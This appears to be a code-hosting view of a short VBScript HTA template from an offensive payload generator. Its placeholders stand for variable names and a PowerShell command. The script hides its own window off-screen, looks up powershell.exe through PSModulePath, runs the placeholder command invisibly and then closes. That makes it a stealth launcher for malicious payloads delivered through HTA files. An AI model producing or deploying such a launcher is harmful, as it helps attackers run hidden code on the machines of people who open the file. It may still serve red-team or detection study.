13 lines
423 B
Plaintext
13 lines
423 B
Plaintext
<script language="VBScript">
|
|
window.moveTo -4000, -4000
|
|
Set %{var_shell} = CreateObject("Wscript.Shell")
|
|
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
|
|
For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";")
|
|
If %{var_fso}.FileExists(path + "\..\powershell.exe") Then
|
|
%{var_shell}.Run "%{powershell}",0
|
|
Exit For
|
|
End If
|
|
Next
|
|
window.close()
|
|
</script>
|